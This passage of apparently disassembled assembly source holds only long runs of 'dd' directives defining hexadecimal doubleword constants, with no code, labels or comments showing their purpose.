		dd 0A53FE698h, 67D50F0Dh, 7692011h, 53EA20h, 0B5143BC8h
		dd 0EBF77CB2h, 0A4D25C00h, 0B7FD5970h, 9DFB13E3h, 0AF470009h
		dd 0C9371EE8h, 99D9B200h, 0BE2E8DB3h, 0A94D00CEh, 7C957AA8h
		dd 871F62F5h, 73409EA5h, 9B0D0FFEh, 0A272002Ah,	0E6FB0433h
		dd 7600F308h, 61D9B8A4h, 9D2DEBh, 7A0C3570h, 8EC03D9Ah
		dd 23D5B71Fh, 1BBDA4C3h, 5414E81Ah, 669865h, 0EA384820h
		dd 360DE831h, 34E59h, 0F14A5AA9h, 762A42h, 43610A72h, 0AF03C074h
		dd 0E0B18100h, 5B966849h, 14550024h, 82346DECh,	2703F020h
		dd 0B928DE07h, 1078000Dh, 4D468A83h, 0F003ED0h,	0CABAF3C8h
		dd 1C296DBh, 0C5845808h, 0C4D32614h, 0EA000CC9h, 0AC6A44C3h
		dd 352B4E6h, 1AF1D4D0h,	47F050CFh, 6F00F549h, 0B18ED148h
		dd 6CEC7Ch, 9D153D80h, 0E3374B89h, 829CE5A0h, 2C76EF3Eh
		dd 0F014A83h, 0F4E908AAh, 0AFA0F4h, 0FFC00203h,	452EA351h
		dd 0D30F077Ah, 8F6BF8B7h, 0A452C0EEh, 0FB1493Dh, 54270F11h
		dd 71008B14h, 0B87894DCh, 6A00F0BEh, 90518082h,	1D70EF12h
		dd 4E694984h, 0E5E0A7E6h, 9E77142Fh, 0D7158D00h, 0D473F358h
		dd 37BF003Eh, 0C6C926BDh, 5700905Dh, 1203202Bh,	2EB171h
		dd 0F77ED15Bh, 0A3B6EB94h, 88E0C31h, 2080C30Eh,	37EE1CAh
		dd 0A7C8B97h, 0E803DAFCh, 0C50CE5F7h, 7180BFFEh, 29FF2ADh
		dd 70F654A9h, 0E385CEB1h, 3D388010h, 1F1F395Bh,	80B95929h
		dd 6560B173h, 9A5EBEh, 8B2C3B2Bh, 0D7ACEA3Ch, 0D5E8B21Dh
		dd 0C155F25Dh, 0D0A00B28h, 281C884Ch, 0C291E240h, 366101B1h
		dd 9B9D90B0h, 0F86AC5AEh, 4C00CBE9h, 0FAC372CCh, 63C91AE5h
		dd 0FB2F69D6h, 0D45E5850h, 1F34EB03h, 8BBD06EFh, 759BF87Ch
		dd 77115E0h, 7900948Dh,	61D2FBE8h, 470034D9h, 0E53BBF76h
		dd 0F99B66h, 5F8BB9B1h,	0DD3AEEC8h, 0F285CB00h,	65985496h
		dd 9198A00Eh, 0EB6400B1h, 0FB2ED5F5h, 0E00F8450h, 0A1ECCE36h
		dd 0BA9AE9C7h, 0DDB05ED0h, 0D706C020h, 0B17A8AADh, 811839F6h
		dd 5748C82Ah, 80853098h, 2D706E10h, 0DC09AA00h,	0E9B24B05h
		dd 66F00FEh, 0C4EEDA71h, 0EC75D0C3h, 0F5D3FF00h, 0BA8E25B7h
		dd 1D70E7Eh, 0FA0764EAh, 0E5CC5F6Bh, 0E2003AB8h, 0A0D371B6h
		dd 72825A9Ah, 8F39006Fh, 832E7630h, 0EB006301h,	3BDE155Bh
		dd 58AB5787h, 260372C6h, 8006B52Ah, 0C3CD3AC8h,	53509800h
		dd 4AA4818h, 79C7837h, 0A6E25676h, 0D47E8006h, 0A2000C2Fh
		dd 0EEE4CC25h, 1897A9Bh, 0A41E610Eh, 0E8AE5854h, 981C9ADEh
		dd 0A503FE90h, 0EB780A49h, 0A071EB68h, 7C66E26Fh, 12610063h
		dd 0D1AAEEA0h, 4C00E6F9h, 67C1483Ch, 464330h, 0B570419Eh
		dd 7724915Bh, 9A50E600h, 3B41B16h, 326800F2h, 0C17C3BE9h
		dd 496192B2h, 0D596FE50h, 898DA880h, 7F10A7FFh,	3A1B1F0Eh
		dd 80454C65h, 7297E06h,	0B2216853h, 907C8790h, 1B8543D8h
		dd 61409A60h, 1F7EB881h, 0C05F9301h, 0E8541011h, 0E450B576h
		dd 5607FC0h, 50BA1228h,	48141CFDh, 80D59F54h, 0EB01E76Ah
		dd 770EAFB8h, 0E9B8C1Ch, 7C07A745h, 2D7561F1h, 4D38E440h
		dd 0CB0F00A1h, 0B3295313h, 0C1F0A04Ch, 263F630Fh, 0FA5CC0AAh
		dd 1A4149CCh, 0A0D670DBh, 2D3EA440h, 0BFF5E01h,	2C84E943h
		dd 0A0969194h, 31B9B40Ch, 8A5C4010h, 1D5E002Fh,	0D5869A36h
		dd 26A3E829h, 5527DFh, 5D7C351h, 0F33963FFh, 0C4861C7Fh
		dd 0C6006E17h, 5CB58399h, 24D6485Dh, 0C84E0100h, 1685E0E2h
		dd 0F1FF1F0Ah, 0D7005CB1h, 0EEEBFA6Ch, 0A5208657h, 0AE6E04B3h
		dd 805E3F6Dh, 47D48930h, 4B9CA100h, 9AFF0914h, 284E005Ch
		dd 0BAA223Dh, 60031ACFh, 31063F2Eh, 1279C01Fh, 28A600D8h
		dd 1E15E3E2h, 0E700FD85h, 291868BEh, 3E7B2430h,	0F0010DF8h
		dd 0F22FFA4Fh, 0E2CCF4ACh, 9D4BA200h, 2512F3B8h, 0FF410028h
		dd 9C5210ABh, 7E0045D1h, 449365B3h, 1C00F21h, 4EFB2B99h
		dd 0EC0A1C54h, 11002C9Fh, 776841C1h, 0BE6E2Eh, 0ED70DED3h
		dd 0D2655E5Fh, 0BF956600h, 0D7143F9Fh, 1F2F7686h, 0C19DBAE1h
		dd 30D52C2Ah, 40AFF473h, 9C016D00h, 38ED8F47h, 32840089h
		dd 0E87D05C8h, 0A61EE4C1h, 1701C96Dh, 0F1682990h, 0AAFCD4F5h
		dd 7A710083h, 93DF78A1h, 92003BBEh, 291B179Bh, 0F73867h
		dd 0A3E076B7h, 4C0A4644h, 7E288D05h, 0B9002360h, 0E3BCD725h
		dd 0C00307B8h, 7155F731h, 0C4020E2Bh, 3E3A3F1Ch, 623A6Ah
		dd 5EF613ABh, 61BFCFh, 0C39B3AB7h, 7A752701h, 9065BD30h
		dd 96E11Dh, 727FD96Ah, 5F90DFE9h, 5FA2E00h, 0D53D1BDCh
		dd 0B1FC0FA8h, 8BE0A465h, 43221703h, 4540C401h,	6ED84167h
		dd 8812F083h, 0A00104ADh, 8E71F221h, 0B9CC4449h, 0C8978A8h
		dd 1812B22Fh, 1184C859h, 805A8C3h, 2D80E08h, 2261F84h
		dd 0E4864501h, 6975F600h, 2994E40h, 2F727C93h, 0E81378C6h
		dd 2162131Dh, 2C84A7A4h, 700C4130h, 58C00340h, 0B99DA7F1h
		dd 0F41A0021h, 8E47261Eh, 81669C89h, 0CE40EAB0h, 0B1B89859h
		dd 3984AA0Bh, 0FCC07A7Ch, 0B5264742h, 1EB0326Fh, 8DFD2CA0h
		dd 2F0AC35Fh, 0FC112A5Eh, 67865D03h, 495007ACh,	70099885h
		dd 0BAA7A384h, 0F8EDAB00h, 0A6B5B114h, 6082038Bh, 0FB6EE85Ah
		dd 0D17278AEh, 0E4B79D04h, 448731CFh, 469F4BE0h, 0AC77EAEh
		dd 1A59C35Ah, 3D0B00BEh, 0CC205E81h, 1EB41500h,	782D2840h
		dd 97DB053Ah, 807AD482h, 0A48FA5ECh, 0E1670400h, 0F5D06EAAh
		dd 0F93660A9h, 0A80C4B9Bh, 0B8947D00h, 38FC0EAh, 5E7E71h
		dd 8B764AAh, 6F1FF0E1h,	0BACDDF0Ch, 10438B4h, 317EF1EEh
		dd 4011761Eh, 8DDC748Ch, 70A85200h, 0EC0677E7h,	47AE00F7h
		dd 0E6AB65ADh, 22037A92h, 90A97D9Dh, 0DE6F9804h, 0F6A1022Ah
		dd 269AD07Fh, 9217BC80h, 1600963Dh, 0C88BADFFh,	0D97236h
		dd 116D07BAh, 9153FB75h, 7ED5D200h, 18765146h, 107100E8h
		dd 6E656D2Ah, 0A9309A2Dh, 5E1EB19Dh, 0A520076h,	0F5524E7h
		dd 0DF00E093h, 44BE4D46h, 257548h, 0E62E7DEBh, 7F3890ACh
		dd 143A0C00h, 0D422DC47h, 81E51CF9h, 9180BAB4h,	0ADCF6DCDh
		dd 71E81A10h, 7593858h,	654215D8h, 0BBB50F60h, 283F385Ah
		dd 2D29C00h, 0ACFF86C7h, 21BE3600h, 470F73EEh, 47409FE7h
		dd 570F6DDEh, 0A7410BE2h, 71D05F69h, 50740AA5h,	3FB9AE6h
		dd 0ECC139BDh, 0DEE86499h, 893C517Eh, 7C800D9h,	0EFCA5567h
		dd 0BD910080h, 4144FC28h, 0EE039864h, 67900D02h, 0A7A1B346h
		dd 208A9150h
		dd 0AB741Eh, 0EC83C5D9h, 4E301F72h, 30F1000h, 0B0FBE013h
		dd 0D8A80264h, 446DD57Ch, 6C395C60h, 8150F400h,	0B8C783ABh
		dd 13713Ah, 98FAB772h, 6DE7B2F5h, 75BA6004h, 8880A3F3h
		dd 88949Eh, 5B4D9908h, 36012AC4h, 2ED3B758h, 7B0366E8h
		dd 0C8CCDE94h, 0C33A0BFBh, 0CF4DDDE6h, 2501D0A0h, 0E8D23700h
		dd 53F41312h, 566C0CF3h, 592863E0h, 2B809AF2h, 1892B0C2h
		dd 29F1671Fh, 0BAE6B7DEh, 3655DD11h, 0E6A00A38h, 7403CB7Dh
		dd 24036CD5h, 41501886h, 0E521795Dh, 1FE18402h,	14E797Fh
		dd 17A6E54h, 29889B9Dh,	8384E28Fh, 95024FB0h, 0E9077B25h
		dd 6903A634h, 780CC648h, 284CA1D7h, 795F6E98h, 7CACBB48h
		dd 1FD97B07h, 30C9ED36h, 91797747h, 0D002D74Fh,	3112B8DFh
		dd 0DB6C60C9h, 5B410FB4h, 11C0CA50h, 73640414h,	0C3E9F00h
		dd 0FA796AA9h, 7C8DEA4Dh, 3341009Ah, 0C75471F7h, 6A005C23h
		dd 7778BA8Ah, 49248C0h,	66B65715h, 98F781FEh, 0BB3AE094h
		dd 592F9C00h, 335DDDCEh, 1A971D0Ah, 9940312h, 40A04522h
		dd 0EB071DE7h, 92E3D996h, 1ED060DFh, 5D1FBBh, 0D8728CD3h
		dd 7D13D6F3h, 2B09DF0Fh, 0B966A0B1h, 3DCE2380h,	0FC803175h
		dd 589B111Fh, 9D004286h, 5B957090h, 10B4078h, 0AD7CE881h
		dd 85E2063Ah, 155CE068h, 8FE6E1C3h, 9083CD83h, 0C1820Dh
		dd 0A07097FDh, 77E89679h, 42F930Ch, 1FD4E1B8h, 85BC13A4h
		dd 0C0096F90h, 9BF2BD36h, 72A5F01Ch, 1E287A00h,	84A99Dh
		dd 0EE5FB7E2h, 0B37BCBBAh, 0E320126h, 6009003Ch, 422BD839h
		dd 861F009Bh, 93ACEF0Eh, 9F0027AFh, 0E94C9190h,	0A971F4h
		dd 46FB3161h, 11D23BF0h, 0CDD61D00h, 945247EAh,	50DF00A7h
		dd 0B54C1E3Ch, 5E0B9632h, 81AF3B97h, 0F7370A71h, 0C023E240h
		dd 2AF600F1h, 5FE32E87h, 0CEE67199h, 644FB71Ch,	0AA9C3B00h
		dd 3F6240B1h, 410063D4h, 0BEBA300Ch, 0BD00AC75h, 0DC6E938Ch
		dd 0F1742Ch, 15A6F5D8h,	6FB61F04h, 342BDD00h, 23C140CEh
		dd 948B0027h, 7A5EC693h, 0DF0781D7h, 165C8A9Bh,	2163800Bh
		dd 0E6CE2299h, 56B1002Eh, 93EE963Ch, 0AF0085F3h, 0FE1E99Bh
		dd 3936314Eh, 263C957Ah, 53DF8F80h, 0ADEB16BCh,	9D743D1Ch
		dd 0F8BEED8Ah, 9A829500h, 732617Dh, 37B20234h, 2B6EB0A6h
		dd 0C32CDA7Fh, 62008B3Ch, 133EF5A1h, 0CBDD0004h, 8F4BE518h
		dd 0DC2484A8h, 8E0084DFh, 0F4E489B2h, 0E8300AFh, 1282C086h
		dd 417B48CAh, 0FE4CD60Fh, 6F6CC03Eh, 15DA613h, 0BBDCDA89h
		dd 0F9D59C41h, 0B078D8C7h, 4700F9F0h, 0B7A7CF58h, 76FC38CDh
		dd 5E460063h, 3FD24AAFh, 7500A48Dh, 5CD4D0EDh, 398F2F51h
		dd 0CB8054C7h, 0E34BA590h, 6176A817h, 0F400CC7Eh, 21EAA49Ch
		dd 0F2254731h, 0F9D30259h, 4A54C6FFh, 9A02B4C0h, 4541DC00h
		dd 8B26D66Fh, 50097389h, 232B907h, 8761DE30h, 0E0FF75A6h
		dd 0B4345h, 53C97405h, 0CCF3A503h, 8FF2A200h, 8863AC2Fh
		dd 39A10E9Dh, 0F140E3B1h, 2B25C24Eh, 0D6F69400h, 0AF565583h
		dd 8CE81C6Ah, 0A0EAC003h, 3F0A727Eh, 0F1408F00h, 8B517063h
		dd 0B72809BEh, 8803C0Eh, 8F100699h, 1666A500h, 7B874781h
		dd 0A27F0048h, 0F16FF3FFh, 39099910h, 807E3549h, 0D02938BAh
		dd 951702B3h, 0AE3A8823h, 32A91C48h, 80BCF200h,	0FB56047Ah
		dd 988877F8h, 3E33F840h, 73803BE9h, 0BA1B8303h,	381E8B7Dh
		dd 79C0BB65h, 2A1993C8h, 53162CA4h, 0C35C1EDEh,	3BC60DE9h
		dd 7CAC5D88h, 537ECF2Eh, 0A135B300h, 31CEDEh, 3A0CD6Eh
		dd 0D71D9079h, 5E0741EAh, 8FA4BC62h, 0E523FB40h, 0D30F28CCh
		dd 909B0097h, 0C6BF76C9h, 8DF82911h, 35C82300h,	0BE71C36Fh
		dd 4C4602DCh, 5432549h,	5EA1A280h, 7C001231h, 0E128AE42h
		dd 1AF002h, 0DD1DE969h,	0BC9738E3h, 10D39B01h, 771B3083h
		dd 3BB7B4ECh, 8580BBC4h, 6CABA5BAh, 0FC1253AFh,	90090F7h
		dd 5C599651h, 0DC0E1EC3h, 1C5026AAh, 92017A0Bh,	37BA0D9Fh
		dd 4D83CC7Fh, 8685611Eh, 19122B40h, 6084C08Fh, 9DA6183Dh
		dd 6E1215DBh, 0ED01A134h, 7A2F910Ah, 0C5B1C0h, 27FE4294h
		dd 0B5155F6h, 3E5E1A00h, 40C8E21Eh, 383C002Dh, 4CA6FB8Bh
		dd 573B9D3Bh, 1DB580E7h, 0B9F8B766h, 738400D9h,	7FD3283Dh
		dd 9A3BCA62h, 9C6B1E3Eh, 0F3AE0200h, 0B09F0A56h, 86F40020h
		dd 59D325C6h, 200F041h,	6A7BCD7Eh, 33F8C2h, 507D40E5h
		dd 3689426Eh, 14FB8E00h, 9409C763h, 0B95F001Ah,	5400465h
		dd 6007BA0Eh, 3F3DEA9Eh, 42E20130h, 0E96D000Dh,	0A0C81A34h
		dd 94001897h, 0AF671479h, 72586589h, 2AE50059h,	2B07F18Eh
		dd 0F300A163h, 7B164F8Dh, 599D27h, 0E50BADCDh, 5A6156ACh
		dd 216A6200h, 39A62EF8h, 0FE9072Ch, 50D938DBh, 0F5C0D724h
		dd 670B8716h, 0AEB79404h, 891CDEC3h, 18D4287Bh,	0A23307D1h
		dd 0D08D668Bh, 0DA267E4Fh, 796DC01Ch, 0B5CC0EC4h, 5FE07180h
		dd 68A0046h, 13CF03A2h,	35006FF7h, 23169DDFh, 77F6A3h
		dd 7C6D37D8h, 0D9E915CDh, 0C2070800h, 0B546521Dh, 0BE810024h
		dd 0CA1B14B8h, 6268DCEh, 0F30005F6h, 5D61F49Fh,	0F7840167h
		dd 492141C0h, 0DDCBE8ABh, 0B7E62E07h, 80F0BA44h, 0B6A60Bh
		dd 0B04D933Fh, 46571124h, 0CF0B0576h, 80BEA5E6h, 0D88EA716h
		dd 561D0476h, 80938270h, 3E3BF464h, 6B88B400h, 789919C7h
		dd 0B69400E8h, 0E1F0362Bh, 2C1E9FA7h, 4941220Dh, 0EF5D1E5Bh
		dd 0F6EA8FE4h, 3C5807C0h, 0C31B9067h, 0D7D0964Ch, 0B400335Fh
		dd 6489663Bh, 72332D1h,	174BDE16h, 854DB7CBh, 73BD00B0h
		dd 9354B8A5h, 4C3EBF38h, 45BC0F39h, 0DBE0A336h,	6309E00Ch
		dd 0E3C500DEh, 0CBAA990Bh, 8007EDD5h, 766CD73Ah, 0A451BA50h
		dd 4570DEh, 0E4A6636h, 0B03A7EE8h, 5128F060h, 0FFB9543h
		dd 0E6ABF503h, 45FD53A0h, 1100106Ah, 8BFF4017h,	5B50B7h
		dd 16C9AD62h, 373878D8h, 1A0593B8h, 35E675BFh, 0FA093D80h
		dd 2E0E0071h, 584D3619h, 0F50002AEh, 0F887D8E1h, 503372h
		dd 0D3BD9A2Dh, 0B44945B0h, 0A73CA800h, 6C2F7A43h, 7466E80Ah
		dd 0B8290F54h, 0EEA0B74Fh, 3D9EB0FAh, 1E78A200h, 364CB31h
		dd 566600A9h, 325D1908h, 1D07EDB4h, 2FE8FE89h, 4DB14E00h
		dd 0B03100D3h, 3A69E0CEh, 0F600E684h, 3D26EF5Fh, 194DF0h
		dd 991B4A0Dh, 0EA66D967h, 12F5300h, 487ED3BEh, 3290071h
		dd 0CF3F1E0h, 5500709Fh, 59CC8CF8h, 701DC2Bh, 29A4DD71h
		dd 6394C0E8h, 89009F04h, 0F1EFE68Ah, 360EEE7h, 0C0DD1959h
		dd 0EDD8BF0Ah, 0C1D80BAh, 5DC0D858h, 0F92C8603h, 4FAB0071h
		dd 0A2552B72h, 0FF001D87h, 0D3587B29h, 184AC9h,	54ADF953h
		dd 0CDFD74F8h, 8E0A8C00h, 3455869h, 0DA230038h,	1C411640h
		dd 1001172h, 0B747CA74h, 23A77h, 0DFF0E998h, 1EB0464Dh
		dd 80DA243Bh, 5FA9DD43h, 0B563788h, 8F154F4Eh, 0C916A200h
		dd 0E4F2E1B9h, 6E5F4207h, 5C9002D4h, 5DC10Ah, 0E6897D04h
		dd 0DA33D2A8h, 0B396F201h, 44EF80A1h, 99C1960h,	0EA292817h
		dd 67D44402h, 856947E0h, 81162538h, 7C1A27F8h, 0C6F87018h
		dd 88870C62h, 83C6F523h, 0FC83D58h, 20B096BCh, 0CD40E9A6h
		dd 928C004Dh, 4942A704h, 0F8004E83h, 1FA159E1h,	0E5F6D0Ch
		dd 0A78C4789h, 7202CCA0h, 3400DA93h, 0F9770F14h, 124A4ABh
		dd 0F31CB075h, 0F4C350ACh, 0A50EAEF0h, 4082C1D5h, 4D38458h
		dd 343EAA4h, 0C595185Fh
		dd 0D58875BBh, 0B100B8B9h, 0DBE57687h, 7CC78BEBh, 26C9005Dh
		dd 9CA57D16h, 381CC1C0h, 641F151Fh, 0A0BDB241h,	0DA306D85h
		dd 0BCC0000Eh, 1913ACFAh, 0E00E5B6Eh, 410CF9B8h, 4A97DD06h
		dd 0FAD64FCh, 0C8E1271Eh, 868F1701h, 77EE859h, 0C66E3800h
		dd 0CF0D3AE4h, 18890E46h, 842080ECh, 0BA962CEDh, 91DED300h
		dd 74E48598h, 94310BB5h, 0B100E390h, 47849BD5h,	67F8000h
		dd 11337D4Fh, 0EBB33E65h, 246203F6h, 285C2B66h,	4F549098h
		dd 5A0E180Eh, 0CCBF07A2h, 47BD7F90h, 84B01F1Bh,	0F40940D8h
		dd 2E9EA4Dh, 0E8412B00h, 6451C85Fh, 9DCC2C67h, 7DF20F05h
		dd 0FAAD5C60h, 2B01C25Dh, 0DE871668h, 0DDF834A4h, 0A7840061h
		dd 0BAC6E5B2h, 25004A1Ch, 0CD3B9105h, 8196Ch, 5B6B16F4h
		dd 0C00A9CC4h, 64F74D05h, 0B71E0D56h, 9B4F3A00h, 0E87CA4h
		dd 41A24022h, 0E366D039h, 0EF6AFE01h, 0C94FE612h, 1E0BA8C8h
		dd 0BE327E5Bh, 0FC397C00h, 0E4E2640Dh, 0F4C7D604h, 0F80BB45h
		dd 5CC919h, 9927B09Eh, 375852EBh, 0EFDDA200h, 0D8FAFD8h
		dd 619C0036h, 0DF292F6Ah, 6503B0B5h, 78E66FA1h,	0BC77E84Eh
		dd 0AAF00080h, 0EE0BE54Dh, 0FA005220h, 0F65EDA83h, 0C76027B9h
		dd 80B193E0h, 0DB145626h, 87AF8E1Fh, 7803303h, 776B9894h
		dd 7578EBh, 79882E7Ah, 461170D0h, 284339h, 912137FCh, 3F406C81h
		dd 0F6B83EB2h, 0E939E700h, 5CB1F133h, 0F42EA707h, 72F0587Ah
		dd 0DBBEA2h, 0EC5D23B2h, 0DA683CA1h, 27201E0Eh,	77280A8h
		dd 1DCEEE2h, 630C939Fh,	30B3FBC2h, 56005030h, 0B73102ADh
		dd 0A4073h, 3BF8B8D2h, 10798AEEh, 0F2836E1Eh, 0F6F43E80h
		dd 9FAC23Ch, 17A80816h,	0F0615803h, 4900187Fh, 9BE13FE4h
		dd 1C09DD8Ch, 8020431Ch, 0A0C1792Bh, 8A3C4DA2h,	346F0E7Eh
		dd 8F3D40F1h, 4C244AB2h, 8739CBFFh, 883B7800h, 3E8EC41Eh
		dd 3261E100h, 905E0CD4h, 7F2E1DE6h, 0EECD40D5h,	0A6AAC630h
		dd 3C00617Ch, 236F80DDh, 250DEFh, 0D6CBC3D0h, 3E553443h
		dd 0C4D7DF00h, 7763319Fh, 0F94E0118h, 0BC7DDB72h, 0F62CCCD1h
		dd 0D4A75101h, 67A06D9Fh, 3CF590CCh, 0A401FE49h, 2439C8F3h
		dd 1888CCB6h, 0DE9AA900h, 5CB533BFh, 0D89C0F05h, 7140FA4Fh
		dd 5F6FEB97h, 0C00BBECh, 7D4C123Dh, 5E869D0h, 1068B6CCh
		dd 0DA6C0E9h, 40000271h, 9167BFEh, 437AC2h, 0A508EC24h
		dd 4F52133Bh, 0C4747103h, 0B816DC59h, 0B8B475E7h, 0A93100F7h
		dd 0AFBD3CD9h, 9B3DFA06h, 5B9F0097h, 63B78257h,	488C1F30h
		dd 7CA5477Ah, 3B5C9088h, 20F2445h, 275197E8h, 93507F33h
		dd 3A524390h, 0EBBD7411h, 4F059900h, 3DEF7BC7h,	0D5D1FA00h
		dd 3196DA0Eh, 0ABBB058Ch, 1D5B3973h, 2C7AC9D8h,	0D3C17700h
		dd 586161FCh, 0E6AAF410h, 7390BEE8h, 0D9AB2h, 92AC08DFh
		dd 6B7219D4h, 52E06F00h, 0A83AA7AAh, 56B10009h,	0BDC85A90h
		dd 0A500AC30h, 69E87EEh, 919795h, 0E8B36993h, 8E03BA40h
		dd 199B5B1Eh, 60C7AF0Fh, 2E2565D7h, 14020006h, 9405236Ch
		dd 5D3A185Bh, 0C1848726h, 1D205E1Fh, 7069EBECh,	0F4110125h
		dd 406F83A7h, 9934E808h, 0E568F901h, 0BBFC599Dh, 0C5B7E0h
		dd 4904CF93h, 0D0F26778h, 9D0F3B00h, 0DC0EA815h, 0C9B5005Eh
		dd 3998D892h, 3700B14Ah, 9D1A5829h, 0A506Eh, 330F5716h
		dd 1E8E1D01h, 557D60EEh, 0D125D400h, 7AF191E1h,	6D1100D3h
		dd 889FF092h, 0E8000E57h, 0A758BAB3h, 567C19h, 2F212C26h
		dd 0E57EF161h, 816B9100h, 645BB00Ch, 0F4C5007Dh, 0E4CD2042h
		dd 2200FB8Ah, 0B67C2921h, 463919h, 98361A56h, 0D05181FEh
		dd 0FEBE5Ch, 0A620F24Ch, 134A2DA8h, 0E82976Ch, 64E0FC8Dh
		dd 379E0C16h, 0B17B1E01h, 6886478Ah, 2C635E0h, 5EFEBD44h
		dd 0F080D45Dh, 0F3C2F795h, 0A47B7D3Dh, 0C303D7BAh, 90195FE9h
		dd 0CCB72Fh, 2210C1F7h,	70BE833Ah, 7C00AAEAh, 0B493BD06h
		dd 88B80Ch, 0F74ACEB5h,	0D1096817h, 0DF1E3878h,	0D7C0FB34h
		dd 182799E6h, 26541CC4h, 3CD8DD8Fh, 0A59F1700h,	0A29C8CEBh
		dd 9E400400h, 4D32DF22h, 698800DEh, 95B71489h, 2B019909h
		dd 0A33045FCh, 0FDC857A5h, 3EDE0040h, 83A08532h, 761D1E34h
		dd 0C2C09BDDh, 0FCF5F6E3h, 6F221891h, 6C029036h, 0EF332C02h
		dd 40BF53AAh, 489BC4F2h, 700F3403h, 75809DD8h, 17F9D4B3h
		dd 0E35EB01h, 955A6658h, 1E0960h, 761F8640h, 0E499D2F1h
		dd 7313C800h, 0C0BB7C6Fh, 748F0028h, 29D18EABh,	0FD00F552h
		dd 0A201F070h, 1666A3h,	286D4B2h, 0C6552FD1h, 0DA5DB000h
		dd 3DDFC369h, 0CCD750F7h, 0C5AE0074h, 993F8295h, 2A0033A4h
		dd 0D8F63413h, 0E6C15Dh, 22EA4507h, 0BDBA87BBh,	3DCD8200h
		dd 11A27FABh, 4B1916DEh, 187200AEh, 9F02AFF7h, 793A36EEh
		dd 0F0CE9DD8h, 40915F0Eh, 0CF9D41FFh, 0D2FACDh,	0B43A3843h
		dd 0A567FB6Ah, 0B70BEC00h, 0A09C6BEAh, 0EE5672EDh, 517C0006h
		dd 2B490D8h, 0F903DB44h, 7E076796h, 93580B8h, 943201D3h
		dd 517DD617h, 21D8842Ah, 3880D4AEh, 602FA809h, 2D42A0F9h
		dd 78185C31h, 0B8526622h, 0F6CCE0F4h, 0C6270028h, 9FDEEDF2h
		dd 190E92FAh, 409715BAh, 53E8A8F8h, 1EE001F0h, 6844748Eh
		dd 0D287C82Dh, 56CBD803h, 98601883h, 88DA0h, 7B9EA71Eh
		dd 0B1597513h, 0FB1FCE03h, 12787F9h, 34F2CDA0h,	30E7FF4Dh
		dd 6A007CBCh, 3E831ED3h, 0C4336h, 3821EDF5h, 0B9BDE8Dh
		dd 4909C41Dh, 0CB64CDC0h, 58AF3Fh, 835A7F29h, 2C6AC7E3h
		dd 50EC7200h, 454AB5Fh,	0D44800B4h, 24871822h, 47002871h
		dd 6BE34CB7h, 1534603h,	0DB7FBF95h, 0E0CA6361h,	0CD006483h
		dd 47D0B34Ch, 10C1101h,	0D89581DEh, 0D492E3FDh,	0D200BB23h
		dd 0E773DDA4h, 0E93C883h, 525CF9CCh, 43564CE3h,	0CF24B000h
		dd 7A5B4ABFh, 31BD1DA7h, 0EC9C40A5h, 0D44EA623h, 2505Ch
		dd 243887D6h, 915DD5Fh,	62DFCF56h, 59095890h, 0E7EEBC00h
		dd 0D4521E5Eh, 0A3762F6Eh, 0EB3DA758h, 0BCF080D2h, 38DB460Bh
		dd 6D4D0021h, 3E780D4Ch, 562485C4h, 0A20002D1h,	0D3CF722Bh
		dd 0B2E100FEh, 60F81A2Eh, 98002DE4h, 6FF06A86h,	0A7CF68h
		dd 1CC9B9F3h, 27E7FD5Ah, 98089324h, 32EE400h, 2261F1h
		dd 91ED516Ch, 0C6728853h, 9BA63F00h, 0CBCDD09h,	935C00BFh
		dd 0FECB3915h, 1B0F1035h, 60E6AFh, 8D7F0446h, 7180055h
		dd 29F302D7h, 2AF84F37h, 1564200Bh, 8CFF026Ah, 0EE5C400Dh
		dd 1D2EFAC5h, 40E867F0h, 0D22C52EBh, 13000537h,	86454E41h
		dd 1172FAh, 0AA4AA018h,	91CB49D1h, 0A21B8D00h, 0DE748C45h
		dd 57A600ECh, 275CB748h, 60DFF89Bh, 0FCE8C2C0h,	55553h
		dd 92BACAAFh, 593A9BABh, 0BF151D00h, 0B1F972A4h, 0EE03B2Bh
		dd 0B0510C83h, 0AFE830EFh, 2403E659h, 54421C3Fh, 0FBA8A01Eh
		dd 710008Fh, 52CCA9A0h,	0C5009B87h, 0C747E54Eh,	3F7E77B2h
		dd 50800DD0h, 81897F2Bh, 0E01EB652h, 82C33D51h,	8791030Ah
		dd 154B2DE0h, 417B23h, 4AFE8FA5h, 0F5CF7111h, 1C9FD103h
		dd 978EB135h, 0BE67E640h, 0B0C054F6h, 0B9240088h, 22A406F4h
		dd 4D01EF15h, 8FF791D6h, 0F8E0D363h, 207D0080h,	571DB49Fh
		dd 0FE000619h, 3FCFF64Eh, 790C1FB6h, 2739834h, 842B0587h
		dd 6FE05CBAh, 281F971Dh, 8B80DC82h, 0A2387FAAh,	0B345018Fh
		dd 35146341h, 0E830E9C9h, 590091CDh, 668927B7h,	2452FECh
		dd 0A6F0D52Ch
		dd 0A28BBEFEh, 0F10BB200h, 0E326DF12h, 96886893h, 4F7B8092h
		dd 0E456D6C9h, 0E6953600h, 3CC3A0C6h, 0E1923EFDh, 64675F00h
		dd 94D1F3F8h, 1A3BC09h,	0B66000E6h, 14B6A87h, 0F42CEC78h
		dd 3036581Ah, 86FED195h, 0D3B4DC00h, 49086A9Dh,	1B3400A0h
		dd 0E476FF62h, 7402B6A3h, 0C3BE5A23h, 6F3E06Dh,	0FF5D02FCh
		dd 54176465h, 505C2540h, 0E003D70h, 0D6B4B1ADh,	3BE0D932h
		dd 0C32EBD74h, 689C95F8h, 5B8B8E00h, 433C1157h,	29C2F0E1h
		dd 13000470h, 8C9B4925h, 0E00768h, 65DA0B9Fh, 0CA900331h
		dd 25034AB0h, 773884CCh, 0A9ACB82Ch, 68E902EBh,	9A038883h
		dd 0F1698A40h, 0F3BC920Ah, 0C70484DFh, 6406527h, 7479128h
		dd 384C3Ch, 0CB507EE8h,	1EDE80CAh, 0CE223570h, 75E0A534h
		dd 8E15EAA3h, 181C5400h, 0C356DC96h, 0D1193A23h, 79670600h
		dd 0CDE9576Dh, 500E870h, 7B3C5638h, 2230B5h, 9D901AE0h
		dd 0D5BD6096h, 6298E11Fh, 71CC0F80h, 376674h, 699F9C5Ch
		dd 9104517h, 0EF211B00h, 82AFDD0Ah, 0CC2600BBh,	61EB38CAh
		dd 0EAEE3D70h, 7260B97Ah, 0D055D230h, 0CF370036h, 33DF81E9h
		dd 0CD00FC5Fh, 0CE41F1FAh, 0F8209F2Ah, 7977002Eh, 0F6062DAAh
		dd 0B800F0AFh, 260A1AFEh, 6E5414h, 65122BCDh, 0F69E860h
		dd 22442A00h, 8236A98Fh, 5F0600A6h, 32802E98h, 0E498D23Ch
